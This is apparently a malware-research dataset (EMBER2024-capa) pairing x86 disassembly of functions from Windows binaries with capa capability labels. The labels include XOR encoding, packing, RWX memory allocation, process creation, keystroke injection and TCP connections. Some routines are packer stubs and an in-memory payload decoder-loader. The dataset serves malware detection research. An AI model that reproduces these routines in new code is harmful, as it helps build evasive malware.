joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a2c0
Capabilities:
Encode data using xor
Encrypt data using twofish

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
xor esi, esi
call fcn.0041e110
test al, al
jne 0x44a2d7
mov esi, 3
lea eax, [esp + esi + 0x18]
mov ecx, esi
mov dword [esp + 0x1c], eax
mov eax, esi
xor ecx, 1
xor ebp, ebp
xor eax, 2
xor esi, 3
lea edx, [esp + ecx + 0x18]
mov dword [esp + 0x28], ebp
lea ecx, [esp + eax + 0x18]
lea edi, [esp + esi + 0x18]
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
mov esi, 0x474638
mov dl, byte [ebp + 0x471d40]
mov al, dl
mov cl, dl
and al, 2
mov bl, dl
neg al
sbb al, al
and cl, 1
and eax, 0xb4
mov byte [esp + 0x11], cl
neg cl
sbb cl, cl
and ecx, 0x5a
shr bl, 2
xor bl, cl
mov byte [esp + 0x12], cl
xor bl, al
mov cl, dl
xor bl, dl
shr cl, 1
mov byte [esp + 0x14], bl
mov bl, byte [esp + 0x11]
xor cl, dl
shr cl, 1
neg bl
sbb bl, bl
and ebx, 0xb4
xor cl, bl
mov bl, byte [esp + 0x12]
xor cl, bl
mov bl, byte [ebp + 0x471e40]
xor cl, al
mov al, bl
and al, 2
xor cl, dl
neg al
sbb al, al
and eax, 0xb4
mov byte [esp + 0x11], al
mov al, bl
and al, 1
mov byte [esp + 0x12], al
neg al
sbb al, al
and eax, 0x5a
shr bl, 2
mov byte [esp + 0x13], al
xor bl, al
mov al, byte [esp + 0x11]
xor bl, al
mov al, byte [ebp + 0x471e40]
xor bl, al
mov byte [esp + 0x17], al
mov byte [esp + 0x15], bl
mov bl, byte [esp + 0x17]
shr al, 1
xor al, bl
mov bl, byte [esp + 0x12]
shr al, 1
neg bl
sbb bl, bl
and ebx, 0xb4
xor al, bl
mov bl, byte [esp + 0x13]
xor al, bl
mov bl, byte [esp + 0x11]
xor al, bl
mov bl, byte [ebp + 0x471e40]
mov ebp, dword [esp + 0x1c]
xor al, bl
mov byte [ebp], bl
mov ebp, dword [esp + 0x20]
mov bl, byte [esp + 0x15]
mov byte [ebp], bl
mov ebx, dword [esp + 0x24]
mov byte [ebx], al
mov byte [edi], al
mov ebx, dword [esp + 0x18]
mov dword [esi - 0x400], ebx
mov ebx, dword [esp + 0x1c]
mov byte [ebx], cl
mov ebx, ebp
mov ebp, dword [esp + 0x24]
add esi, 4
mov byte [ebx], cl
mov bl, byte [esp + 0x14]
mov byte [ebp], bl
mov ebp, dword [esp + 0x1c]
mov byte [edi], dl
mov ebx, dword [esp + 0x18]
mov dword [esi - 4], ebx
mov bl, byte [esp + 0x15]
mov byte [ebp], bl
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x24]
mov byte [ebx], al
mov ebx, dword [esp + 0x28]
mov bl, byte [ebx + 0x471e40]
mov byte [ebp], bl
mov ebx, dword [esp + 0x1c]
mov byte [edi], al
mov eax, dword [esp + 0x18]
mov dword [esi + 0x3fc], eax
mov al, byte [esp + 0x14]
mov byte [ebx], al
mov ebx, dword [esp + 0x20]
mov byte [ebx], dl
mov edx, ebp
mov ebp, dword [esp + 0x28]
mov byte [edx], cl
mov byte [edi], al
mov eax, dword [esp + 0x18]
inc ebp
mov dword [esi + 0x7fc], eax
cmp esi, 0x474a38
mov dword [esp + 0x28], ebp
jl 0x44a30b
pop edi
pop esi
pop ebp
mov dword [0x471f40], 0
pop ebx
add esp, 0x1c
ret
Function at 0x40eb68
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ec3d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40ec58
push ebx
push 0x40ec68
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040513c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403250
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x40ebe8
mov al, 0x6a
call fcn.0040e788
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040eb3c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x40ebf1
call fcn.0040eb3c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ec44
lea eax, [ebp - 4]
call fcn.00404c88
ret

Function at 0x40ed58
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
jmp 0x40ee17
cmp dword [esi + 0x10], 0x1000
jne 0x40ee03
test byte [esi + 0x15], 1
jne 0x40ee03
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40edb4
cmp ebp, 2
je 0x40edb4
cmp ebp, 0x10
je 0x40edb4
cmp ebp, 0x20
jne 0x40edd0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40edd0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ede1
mov eax, dword [esi]
add eax, ebx
call fcn.0040ed50
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40edd4
cmp byte [esp + 4], 0
je 0x40ee03
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ed89
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
mov ecx, 0x6b5d30fc
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x6fe11490
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x409b15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427b90]
jne 0x409b1f
repz ret
jmp fcn.0040d5bc

Function at 0x40b5fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x427b90]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004060dd
and dword [ebp - 0x14], 0
cmp dword [0x429a0c], 0
mov dword [ebp - 0x18], eax
jne 0x40b6ae
push 0x402d44
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b756
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402d38
push ebx
call edi
test eax, eax
je 0x40b756
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402d28
push ebx
mov dword [0x429a0c], eax
call edi
push eax
call esi
push 0x402d14
push ebx
mov dword [0x429a10], eax
call edi
push eax
call esi
push 0x402cf8
push ebx
mov dword [0x429a14], eax
call edi
push eax
call esi
mov dword [0x429a1c], eax
test eax, eax
je 0x40b6ae
push 0x402ce0
push ebx
call edi
push eax
call esi
mov dword [0x429a18], eax
mov eax, dword [0x429a18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b707
cmp dword [0x429a1c], ecx
je 0x40b707
push eax
call esi
push dword [0x429a1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b707
test ebx, ebx
je 0x40b707
call edi
test eax, eax
je 0x40b6fe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b6fe
test byte [ebp - 8], 1
jne 0x40b707
or dword [ebp + 0x10], 0x200000
jmp 0x40b73a
mov eax, dword [0x429a10]
cmp eax, dword [ebp - 0x18]
je 0x40b73a
push eax
call esi
test eax, eax
je 0x40b73a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b73a
mov eax, dword [0x429a14]
cmp eax, dword [ebp - 0x18]
je 0x40b73a
push eax
call esi
test eax, eax
je 0x40b73a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x429a0c]
call esi
test eax, eax
je 0x40b756
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b758
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409b15
leave
ret
Function at 0x4229b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x7ada98], ax
mov word [0x7ada9c], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x7ada98
mov dword [0x7adaa4], 0x320033
mov dword [0x7adaac], 0x6c006c
mov word [0x7ada9e], cx
mov dword [0x7adaa0], 0x6c0065
mov dword [0x7adaa8], 0x64002e
mov word [0x7ada9a], dx
mov word [0x7adab0], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x7ada94]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x7ada90], eax
mov eax, dword [0x42eae4]
push edx
push eax
mov byte [0x429d5b], 0x65
mov dword [0x429d51], 0x75747269
mov word [0x429d55], 0x6c61
mov byte [0x429d50], 0x56
mov word [0x429d5c], 0x7463
mov byte [0x429d5e], 0
mov dword [0x429d57], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x422aa0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x108c
call fcn.0040e830
cmp dword [0x7ada94], 0x37
jne 0x422b75
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046bc
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp + 4]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x8c]
push edx
push 0x4046dc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 0xc]
push edx
push 0x4046e8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push 0
lea ecx, [esp + 0x88c]
push ecx
push 0
push 0x404708
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404720
push 0x404790
push 0x4047f8
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov edx, dword [0x7aea88]
mov dword [esp + 4], edx
mov eax, 0x5d1
add dword [esp + 4], eax
mov eax, dword [esp + 4]
mov cl, byte [eax + esi]
mov edx, dword [0x42eae4]
mov byte [edx + esi], cl
add esp, 0x108c
ret
Function at 0x422d10
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7ada94]
sub esp, 0x2dc
push ebx
push ebp
push esi
mov esi, dword [0x42eae4]
shr eax, 3
push edi
test eax, eax
je 0x422ebc
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x422d44
mov esi, dword [esp + 0x18]
cmp dword [0x7ada94], 0x1c
jne 0x422d61
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x428210]
mov ecx, dword [0x428214]
mov eax, dword [esi]
mov edi, dword [esi + 4]
mov dword [esp + 0x28], edx
mov edx, dword [0x428218]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x42821c]
mov dword [esp + 0x14], eax
mov ebx, 0xc6ef3720
mov dword [esp + 0x24], edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], 0x20
jmp 0x422da5
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x34]
shl ecx, 4
add ecx, dword [esp + 0x24]
add eax, ebx
xor edx, ecx
xor edx, eax
sub edi, edx
mov ecx, edi
shl ecx, 4
mov dword [0x7ada04], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
cmp dword [0x7ada94], 0x1be
lea ebp, [ebx + edi]
jne 0x422dfa
lea edx, [esp + 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x2c]
cmp dword [0x7ada94], 0x979
mov dword [0x7ada08], 0xff6b3619
mov dword [0x7ada0c], 0xffffffff
jne 0x422e3a
mov eax, dword [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor esi, ebp
xor dword [esp + 0x10], esi
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add ebx, 0x61c88647
dec dword [esp + 0x1c]
jne 0x422da1
cmp dword [0x7ada94], 0x8d4
jne 0x422e6f
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov dword [esi], edx
mov dword [esi + 4], edi
cmp dword [0x7ada94], 0x17
jne 0x422eab
push 0
push 0
push 0
push 0x404690
push 0x4046a0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x422d40
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 8
pop esi
xor ebx, ebx
mov dword [ebp - 8], esi
mov byte [ebp - 4], bl
mov dword [ebp - 0xc], 0x5b121110
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
add eax, 0xc
mov cl, byte [eax]
cmp cl, bl
je 0x401093
inc eax
cmp cl, 0x2f
jne 0x401024
mov cl, byte [eax]
cmp cl, 0x30
jl 0x401045
cmp cl, 0x37
jg 0x401045
and ecx, 7
or ecx, esi
inc eax
mov dword [ebp - 8], ecx
mov al, byte [eax]
cmp al, 0x3d
mov byte [ebp - 4], al
jne 0x401054
mov byte [ebp - 4], 9
jmp 0x401093
cmp al, 0x40
jne 0x40105e
mov byte [ebp - 4], 0x13
jmp 0x401093
cmp al, 0x2b
jne 0x401068
mov byte [ebp - 4], 0xbb
jmp 0x401093
cmp al, 0x2d
jne 0x401072
mov byte [ebp - 4], 0xbd
jmp 0x401093
cmp al, 0x2e
jne 0x40107c
mov byte [ebp - 4], 0xbe
jmp 0x401093
cmp al, 0x2c
jne 0x401086
mov byte [ebp - 4], 0xbc
jmp 0x401093
cmp al, 0x61
jb 0x401093
cmp al, 0x7a
ja 0x401093
and al, 0xdf
mov byte [ebp - 4], al
mov esi, dword [sym.imp.USER32.dll_keybd_event]
xor edi, edi
push 1
mov ecx, edi
pop eax
shl eax, cl
mov ecx, dword [ebp - 8]
test ecx, eax
je 0x4010b3
mov al, byte [ebp + edi - 0xc]
push ebx
push ebx
push ebx
push eax
call esi
inc edi
cmp edi, 3
jle 0x40109b
cmp byte [ebp - 4], bl
je 0x4010d9
push ebx
push ebx
push ebx
push dword [ebp - 4]
call esi
push 0xd
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 2
push ebx
push dword [ebp - 4]
call esi
jmp 0x4010e1
push 0xd
call dword [sym.imp.KERNEL32.dll_Sleep]
push 3
pop edi
push 1
mov ecx, edi
pop eax
shl eax, cl
mov ecx, dword [ebp - 8]
test ecx, eax
je 0x4010fd
mov al, byte [ebp + edi - 0xc]
push ebx
push 2
push ebx
push eax
call esi
dec edi
jns 0x4010e4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x4ca23b
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4c9fca
sub ecx, 1
mov edi, 0xeed75b9e
or ecx, edi
call fcn.004ca287
sub esp, 4
mov dword [esp], 0xe4815829
pop edi
sub edi, 0xf937b55e
add ecx, 1
xor dword [eax], ebx
add edi, ecx
inc eax
add ecx, edi
sub ecx, 0x5f52085c
or edi, edi
cmp eax, esi
jne fcn.004ca23b
mov edi, ecx
or ecx, ecx
ret
Function at 0x11150b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01115200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x11150d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11150c2
add dl, dl
jne 0x11150e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1115134
xor eax, eax
add dl, dl
jne 0x11150ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x11151d5
add dl, dl
jne 0x11150fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1115108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1115113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x111511e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x111512a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x11150cd
mov eax, 1
add dl, dl
jne 0x1115142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x111514d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1115139
sub eax, ebx
mov ebx, 1
jne 0x1115180
mov ecx, 1
add dl, dl
jne 0x1115166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1115171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x111515d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11150cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1115197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11151a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x111518e
cmp eax, 0x7d00
jae 0x11151c5
cmp eax, 0x500
jb 0x11151c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11150cd
cmp eax, 0x7f
ja 0x11151c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x11150cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x11151f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x11150cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x44a59b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x44a5aa
pop dword [ebp - 0x2c]
mov eax, 0x44a5aa
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x66dabb
add dword [ebp - 0x3c], 0x4deb6a90
mov dword [ebp - 0x38], 0x53462541
add dword [ebp - 0x38], 0xdeed2704
mov dword [ebp - 0x34], 0x705f21cb
sub dword [ebp - 0x34], 0x2412dd9d
mov dword [ebp - 0x30], 0xb853a3f9
add dword [ebp - 0x30], 0x47ac5c07
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x3542affb
add eax, 0xcb030069
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x39cce839
sub dword [ebp - 0x3c], 0xc55a7ee3
mov dword [ebp - 0x38], 0x348d66e5
add dword [ebp - 0x38], 0xcdefa90
mov dword [ebp - 0x34], 0xd69ff630
add dword [ebp - 0x34], 0x8ccf763c
mov dword [ebp - 0x30], 0xaee89244
sub dword [ebp - 0x30], 0xaee89244
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x8f1af762
add eax, 0x712ab91e
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x4bf15
push 0
call eax
mov ecx, 0x4299
xor edx, edx
add edx, eax
mov edi, 0x83b32fb3
add edi, 0x7c94304d
add edi, dword [ebp - 0x2c]
mov esi, 0x1a27488c
add esi, 0xa3bba723
xor dword [ebp - 0x20], 0xb30d5102
mov ebx, dword [edi]
sub dword [ebp - 0x1c], ebx
add ebx, esi
sub dword [ebp - 0xc], ecx
mov dword [edx], ebx
add dword [ebp - 0x1c], 0x94578741
add edx, 4
add edi, 4
loop 0x44a6c3
add eax, 0x84ca751b
sub eax, 0x84c977e4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret